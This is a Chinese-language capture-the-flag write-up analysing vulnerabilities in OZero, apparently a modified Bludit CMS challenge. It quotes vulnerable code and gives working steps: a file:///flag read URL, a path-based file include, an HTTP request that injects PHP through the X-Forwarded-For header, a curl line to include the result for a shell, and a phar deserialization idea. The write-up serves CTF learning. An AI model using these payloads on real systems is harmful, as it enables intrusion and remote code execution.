To Begin With
上周末参加了 OGEEK 网络安全挑战赛决赛,最终在队友的 carry 下躺赢,拿到第三名的成绩。运气比较好,拿到了一个 PHP 题目 OZero 的一血(不会 JAVA,我太难了),本来这个题目偏简单一些(只是从结果来,挖的时候还是头疼的一匹,不会 JAVA 只能强看 PHP 了 233),不过挖到的洞最终也没达到大面积 RCE,还是有点遗憾(菜)。
赛后 cyc1e 师傅跟我说,题目里有个后门,本来用 D 盾扫过没有后门的,那这个后门怕是其他途径写进去的,又分析了一下,于是写了本篇水文。
在这里按发现的顺序写一下分析出来的三个点吧,可能还有其他的漏洞,太菜看不出来 .. 膜各位修漏洞巨快的师傅。
Arbitrary File Read
在 bl-kernel/helpers/tcp.class.php 中,调用了 file_put_contents
public static function download($url, $destination)
{
$data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
return file_put_contents($destination, $data);
}
寻找调用,可以在 bl-kernel/functions.php 中发现调用了该函数
# bl-kernel/functions.php
function buildPagesFor($for, $categoryKey=false, $tagKey=false) {
global $pages;
global $categories;
global $tags;
global $site;
global $url;
// Get the page number from URL
$pageNumber = $url->pageNumber();
if ($for=='home') {
$onlyPublished = true;
$numberOfItems = $site->itemsPerPage();
$list = $pages->getList($pageNumber, $numberOfItems, $onlyPublished);
// Include sticky pages only in the first page
if ($pageNumber==1) {
$sticky = $pages->getStickyDB();
$list = array_merge($sticky, $list);
}
}
elseif ($for=='category') {
$numberOfItems = $site->itemsPerPage();
// Check media
$music = $_GET['path'];
if(isset($music)){
if(!Sanitize::pathFile($music)){
$filename = basename($music);
TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
}
else{
Log::set(__METHOD__.LOG_SEP.'Media request in '.date('Y-m-d'), LOG_TYPE_INFO);
}
}
$list = $categories->getList($categoryKey, $pageNumber, $numberOfItems);
}
分析可知,调用过程基本没有过滤,判断了当前的 $for
,然后就进入了任意远程文件下载的过程。那我们只需要在 path 参数传入 file:///flag
即可,并且下载的文件路径和文件名都明确了。
那我们需要确定函数的调用过程,查看下引用
可以发现有个调用正是我们需要的 Category 参数。
function buildPagesByCategory() {
global $url;
$categoryKey = $url->slug();
return buildPagesFor('category', $categoryKey, false);
}
继续往上跟,发现到了 boot 目录,这个目录的文件都会自动加载。
分析下上下文,要进入这个逻辑需要满足
elseif ($url->whereAmI()==='category') {
$content = buildPagesByCategory();
}
$url
是全局变量,找个位置确认下他的值,最终可以发现满足 http://127.0.0.1:8081/category/
即可,那我们只需要读取 flag,即 http://127.0.0.1:8081/category/?path=file:///flag
。
文件存储在 PATH_UPLOADS_PROFILES.md5($filename)
,看一下常量定义,定位到文件位置并访问 http://127.0.0.1:8081/bl-content/uploads/profiles/327a6c4304ad5938eaf0efb6cc3e53dc.avi
。
其实这个洞挺好用的 .. 可惜一血直接打的任意文件读,导致下一个洞用起来有点吃亏。
Arbitrary File Include
这个洞就有点秀了 .. 强行文件包含可还行。
可以在 bl-kernel/boot/rules/60.router.php 发现调用了 include
if ($url->uri()==HTML_PATH_ROOT.ADMIN_URI_FILTER) {
Redirect::url(DOMAIN_ADMIN);
}
// Redirect blog, from /blog to /blog/
// This rule only works when the user set a page as homepage
if ($url->uri()==HTML_PATH_ROOT.'blog' && $site->homepage()) {
$filter = $url->filters('blog');
$finalURL = Text::addSlashes(DOMAIN_BASE.$filter, false, true);
Redirect::url($finalURL);
}
// Redirect pages, from /my-page/ to /my-page and load plugin
if ($url->whereAmI()=='page' && !$url->notFound()) { // 首先判断当前位置,page 即独立的 page 页面,可以直接键入 url 触发
$pageKey = $url->slug(); // slug 即 path 部分(大概是)
if (Text::endsWith($pageKey, '/')) {
$pageKey = rtrim($pageKey, '/');
Redirect::url(DOMAIN_PAGES.$pageKey);
}
else{ //要进这个判断
$pageKey = explode("/", $pageKey); // 分割
foreach($pageKey as $key){
if(constant($key)) //判断地址中是否用到了常量,并解析,其实用处不大
$plugin .=constant($key);
else
$plugin .="/".$key; // 如果不是常量,加 / 并拼接
}
}
$plugin = str_replace("..","/",$plugin); //替换掉 .. ,于是只能使用绝对目录了
if(file_exists($plugin)){ //文件是否存在,很好通过
$plugin = addslashes($plugin); // 问题不大
include $plugin;
}
}
分析下整体的逻辑,结合界面调试下,很快能写出第一个利用 http://127.0.0.1:8081/flag
,然而这还是一个任意文件读,既然有包含,总得要试试 RCE,不过登录界面一直猜不到密码,上传(如果有)的作用不大了。
这时候想到了第一个洞,我可以利用它来控制服务器本地的文件内容。那我们的预期逻辑应该就是从第三方下载 shell,然后包含 shell 文件达到 RCE!
想了下整理逻辑是可以打通的,但是写完 payload 测试发现因为第一个洞打出去以后,大多数队伍都修复了(太强了吧),导致组合利用出现了很大的问题。
Specific File Write
cyc1e 师傅说某个 (security.php) 文件里有后门,看了一下应该是某个师傅测试的时候留下的,不过不能触发。
# bl-content/databases/security.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"minutesBlocked": 5,
"numberFailuresAllowed": 10,
"blackList": {
"<?php phpinfo(); ?>": {
"lastFailure": 1569410205,
"numberFailures": 1
}
}
}
没有路由能够达到这个文件,还以为可以直接访问的,结果也不行。那先分析一下怎么写入 payload 的吧。
我们在 bl-kernel/security.class.php 注意到 DB_SECURITY,由此分析一下整体逻辑。
<?php defined('BLUDIT') or die('Bludit Badass CMS.');
class Security extends dbJSON
{
protected $dbFields = array(
'minutesBlocked'=>5,
'numberFailuresAllowed'=>10,
'blackList'=>array()
);
function __construct()
{
parent::__construct(DB_SECURITY);
}
// ====================================================
// BRUTE FORCE PROTECTION
// ====================================================
public function isBlocked()
{
$ip = $this->getUserIp();
if (!isset($this->db['blackList'][$ip])) {
return false;
}
$currentTime = time();
$userBlack = $this->db['blackList'][$ip];
$numberFailures = $userBlack['numberFailures'];
$lastFailure = $userBlack['lastFailure'];
// Check if the IP is expired, then is not blocked
if ($currentTime > $lastFailure + ($this->db['minutesBlocked']*60)) {
return false;
}
// The IP has more failures than number of failures, then the IP is blocked
if ($numberFailures >= $this->db['numberFailuresAllowed']) {
Log::set(__METHOD__.LOG_SEP.'IP Blocked:'.$ip);
return true;
}
// Otherwise the IP is not blocked
return false;
}
// Add or update the current client IP on the blacklist
public function addToBlacklist()
{
$ip = $this->getUserIp();
$currentTime = time();
$numberFailures = 1;
if (isset($this->db['blackList'][$ip])) {
$userBlack = $this->db['blackList'][$ip];
$lastFailure = $userBlack['lastFailure'];
// Check if the IP is expired, then renew the number of failures
if($currentTime <= $lastFailure + ($this->db['minutesBlocked']*60)) {
$numberFailures = $userBlack['numberFailures'];
$numberFailures = $numberFailures + 1;
}
}
$this->db['blackList'][$ip] = array('lastFailure'=>$currentTime, 'numberFailures'=>$numberFailures);
Log::set(__METHOD__.LOG_SEP.'Blacklist, IP:'.$ip.', Number of failures:'.$numberFailures);
return $this->save();
}
public function getNumberFailures($ip=null)
{
if(empty($ip)) {
$ip = $this->getUserIp();
}
if(isset($this->db['blackList'][$ip])) {
$userBlack = $this->db['blackList'][$ip];
return $userBlack['numberFailures'];
}
}
public function getUserIp()
{
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
return $ip;
}
}
先不去看父类的实现,我们可以看到 addToBlacklist
将客户端可控的 XFF 等直接保存了下来,并且调用了 save 函数,跟一下。
public function save()
{
$data = '';
if ($this->firstLine) {
$data = "<?php defined('BLUDIT') or die('Bludit CMS.'); ?>".PHP_EOL;
}
// Serialize database
$data .= $this->serialize($this->db);
// Backup the new database.
$this->dbBackup = $this->db;
// LOCK_EX flag to prevent anyone else writing to the file at the same time.
if (file_put_contents($this->file, $data, LOCK_EX)) {
return true;
} else {
Log::set(__METHOD__.LOG_SEP.'Error occurred when trying to save the database file.', LOG_TYPE_ERROR);
return false;
}
}
发现先在文件头写入判断,之后写入数据,和我们看到的文件是一样的。再来看一下调 addToBlacklist
的位置。
# bl-kernel/admin/controllers/login.php
function checkLogin($args)
{
global $security;
global $login;
global $L;
if ($security->isBlocked()) {
Alert::set($L->g('IP address has been blocked').'<br>'.$L->g('Try again in a few minutes'), ALERT_STATUS_FAIL);
return false;
}
if ($login->verifyUser($_POST['username'], $_POST['password'])) {
if (isset($_POST['remember'])) {
$login->setRememberMe($_POST['username']);
}
// Renew the token. This token will be the same inside the session for multiple forms.
$security->generateTokenCSRF();
Redirect::page('dashboard');
return true;
}
// Bruteforce protection, add IP to the blacklist
$security->addToBlacklist();
// Create alert
Alert::set($L->g('Username or password incorrect'), ALERT_STATUS_FAIL);
return false;
}
显然是在登录失败后对 ip 进行的记录。试一下:
POST /admin/ HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
X-Forwarded-For: <?php phpinfo(); ?>
Connection: close
Upgrade-Insecure-Requests: 1
tokenCSRF=e10adc3949ba59abbe56e057f20f883e&username=admin&password=admin&save=
果然写入了文件。
后来想了想,发现这个洞(虽然还不算是)的师傅也很头疼,写了 shell 不能用,而我因为第一个洞的原因也不能 RCE,如果把文件包含和这个组合起来就太棒了(做梦)。
curl http://127.0.0.1:8081/var/www/html/bl-content/databases/security.php
and getshell.
Unserialize
全局搜索魔法函数,可以发现
class TCP {
public $filepath;
public $error_log;
public static function http($url, $method='GET', $verifySSL=true, $timeOut=10, $followRedirections=true, $binary=true, $headers=false)
{
if (function_exists('curl_version')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $followRedirections);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, $binary);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $verifySSL);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeOut);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeOut);
if ($method=='POST') {
curl_setopt($ch, CURLOPT_POST, true);
}
$output = curl_exec($ch);
if ($output===false) {
Log::set('Curl error: '.curl_error($ch));
}
curl_close($ch);
} else {
$options = array(
'http'=>array(
'method'=>$method,
'timeout'=>$timeOut,
'follow_location'=>$followRedirections
),
"ssl"=>array(
"verify_peer"=>false,
"verify_peer_name"=>false
)
);
$stream = stream_context_create($options);
$output = file_get_contents($url, false, $stream);
}
return $output;
}
public static function download($url, $destination)
{
$data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
return file_put_contents($destination, $data);
}
public function __destruct(){
if(isset($this->filepath) && isset($this->error_log)){
file_put_contents(PATH_UPLOADS_PROFILES.$this->filepath,$this->error_log);
}
}
在该类中存在可利用的魔法函数,而且任意文件写(写这么明显,一定是预设的洞了,当时咋菜的只想着打前两个了呢)。那我们只需要找到一个触发点,看了下没有直接可用的反序列化,只能考虑 phar 来打了,想一下可控的文件路径,刚好第一个洞可以用。
那整体思路就是通过第一个任意远程文件下载来打了,先远程下载一个 phar 文件,然后 phar 协议触发,但是不确定当时的环境了,没找到其他的触发点,那估计这个环境是可以进入非 curl 的判断吧。